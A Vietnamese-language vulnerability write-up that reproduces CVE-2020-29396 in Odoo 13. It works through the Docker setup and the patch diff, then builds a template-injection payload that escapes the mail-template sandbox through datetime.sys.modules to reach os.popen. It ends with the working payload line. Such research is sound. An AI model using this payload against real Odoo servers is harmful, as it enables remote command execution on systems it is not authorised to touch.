Try   HackMD

CVE-2020-29396:

Affects: Odoo 11.0 through 13.0 (Community and Enterprise Editions)
CVE ID: CVE-2020-29396
Component: Core

Tổng quan:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Link issue: https://github.com/odoo/odoo/issues/63712

Reproduce:

Source code: https://nightly.odoo.com/13.0/nightly/src/odoo_13.0.20191010.zip
Với version: odoo_13.0.20191010
Nếu setup windown server thì tải bản exe.

Đối với setup docker, git clone từ https://github.com/Sayed09/odoo-13-docker
Sau đó sửa lại file docker-compose.yml:

  web:
    container_name: odoo13_web
    build: 
      context: .
      dockerfile: Dockerfile
    depends_on:
      - db
    ports:
      - "13000:8069"
    tty: true
    command: -- --dev=reload
    volumes:
      - ./addons:/mnt/extra-addons
      - ./etc:/etc/odoo
      - web-data:/var/lib/odoo
    restart: always

File Dockerfile sửa lại:

ENV ODOO_VERSION 13.0
ARG ODOO_RELEASE=20191010

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Check diff:

Có 5 file được sửa, đối với addons/mail/models/mail_template.py họ đã fix lại với wrap_module, có nghĩa là đã giới hạn module của datetime

datetime = wrap_module(datetime, ['date', 'datetime', 'time', 'timedelta', 'timezone', 'tzinfo', 'MAXYEAR', 'MINYEAR'])

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Các file còn lại update thêm code để hỗ trợ cho việc giới hạn module

Qua việc đọc bản diff thì có thể suy ra lỗi xuất hiện từ mail_template (sẽ có một chức năng nào đó call đến đây), và phát triển payload từ datetime.

Kiểm tra vào bên trong src code:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Odoo sử dụng Jinja cho template mail của họ, tuy nhiên nếu muốn RCE thì phải bypass Sanbox filter (như bản patch ở trên)

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Build payload:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Bên trong module datime có module sys, trace vào bên trong sys thì có func modules list hết tất cả các module của datetime

>>> datetime.sys.modules
{'sys': <module 'sys' (built-in)>, 'builtins': <module 'builtins' (built-in)>, '_frozen_importlib': <module '_frozen_importlib' (frozen)>, '_imp': <module '_imp' (built-in)>, '_thread': <module '_thread' (built-in)>, '_warnings': <module '_warnings' (built-in)>, '_weakref': <module '_weakref' (built-in)>, '_io': <module '_io' (built-in)>, 'marshal': <module 'marshal' (built-in)>, 'posix': <module 'posix' (built-in)>, '_frozen_importlib_external': <module '_frozen_importlib_external' (frozen)>, 'time': <module 'time' (built-in)>, 'zipimport': <module 'zipimport' (frozen)>, '_codecs': <module '_codecs' (built-in)>, 'codecs': <module 'codecs' (frozen)>, 'encodings.aliases': <module 'encodings.aliases' from '/usr/lib/python3.11/encodings/aliases.py'>, 'encodings': <module 'encodings' from '/usr/lib/python3.11/encodings/__init__.py'>, 'encodings.utf_8': <module 'encodings.utf_8' from '/usr/lib/python3.11/encodings/utf_8.py'>, '_signal': <module '_signal' (built-in)>, '_abc': <module '_abc' (built-in)>, 'abc': <module 'abc' (frozen)>, 'io': <module 'io' (frozen)>, '__main__': <module '__main__' (built-in)>, '_stat': <module '_stat' (built-in)>, 'stat': <module 'stat' (frozen)>, '_collections_abc': <module '_collections_abc' (frozen)>, 'genericpath': <module 'genericpath' (frozen)>, 'posixpath': <module 'posixpath' (frozen)>, 'os.path': <module 'posixpath' (frozen)>, 'os': <module 'os' (frozen)>, '_sitebuiltins': <module '_sitebuiltins' (frozen)>, 'sitecustomize': <module 'sitecustomize' from '/usr/lib/python3.11/sitecustomize.py'>, 'site': <module 'site' (frozen)>, 'readline': <module 'readline' from '/usr/lib/python3.11/lib-dynload/readline.cpython-311-x86_64-linux-gnu.so'>, 'atexit': <module 'atexit' (built-in)>, '_ast': <module '_ast' (built-in)>, 'itertools': <module 'itertools' (built-in)>, 'keyword': <module 'keyword' from '/usr/lib/python3.11/keyword.py'>, '_operator': <module '_operator' (built-in)>, 'operator': <module 'operator' from '/usr/lib/python3.11/operator.py'>, 'reprlib': <module 'reprlib' from '/usr/lib/python3.11/reprlib.py'>, '_collections': <module '_collections' (built-in)>, 'collections': <module 'collections' from '/usr/lib/python3.11/collections/__init__.py'>, 'types': <module 'types' from '/usr/lib/python3.11/types.py'>, '_functools': <module '_functools' (built-in)>, 'functools': <module 'functools' from '/usr/lib/python3.11/functools.py'>, 'contextlib': <module 'contextlib' from '/usr/lib/python3.11/contextlib.py'>, 'enum': <module 'enum' from '/usr/lib/python3.11/enum.py'>, 'ast': <module 'ast' from '/usr/lib/python3.11/ast.py'>, '_opcode': <module '_opcode' (built-in)>, 'opcode': <module 'opcode' from '/usr/lib/python3.11/opcode.py'>, 'dis': <module 'dis' from '/usr/lib/python3.11/dis.py'>, 'collections.abc': <module 'collections.abc' from '/usr/lib/python3.11/collections/abc.py'>, 'importlib._bootstrap': <module '_frozen_importlib' (frozen)>, 'importlib._bootstrap_external': <module '_frozen_importlib_external' (frozen)>, 'warnings': <module 'warnings' from '/usr/lib/python3.11/warnings.py'>, 'importlib': <module 'importlib' from '/usr/lib/python3.11/importlib/__init__.py'>, 'importlib.machinery': <module 'importlib.machinery' (frozen)>, '_sre': <module '_sre' (built-in)>, 're._constants': <module 're._constants' from '/usr/lib/python3.11/re/_constants.py'>, 're._parser': <module 're._parser' from '/usr/lib/python3.11/re/_parser.py'>, 're._casefix': <module 're._casefix' from '/usr/lib/python3.11/re/_casefix.py'>, 're._compiler': <module 're._compiler' from '/usr/lib/python3.11/re/_compiler.py'>, 'copyreg': <module 'copyreg' from '/usr/lib/python3.11/copyreg.py'>, 're': <module 're' from '/usr/lib/python3.11/re/__init__.py'>, 'token': <module 'token' from '/usr/lib/python3.11/token.py'>, 'tokenize': <module 'tokenize' from '/usr/lib/python3.11/tokenize.py'>, 'linecache': <module 'linecache' from '/usr/lib/python3.11/linecache.py'>, 'inspect': <module 'inspect' from '/usr/lib/python3.11/inspect.py'>, 'rlcompleter': <module 'rlcompleter' from '/usr/lib/python3.11/rlcompleter.py'>, 'math': <module 'math' (built-in)>, '_datetime': <module '_datetime' (built-in)>, 'datetime': <module 'datetime' from '/usr/lib/python3.11/datetime.py'>}

Bên trong này có os': <module 'os' (frozen)>

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Như vậy từ đây đã có thể call đến os để RCE.

POC:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Preview để trigger SSTI
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Payload cuối cùng là:

${datetime.sys.modules.get('os').popen('id').read()}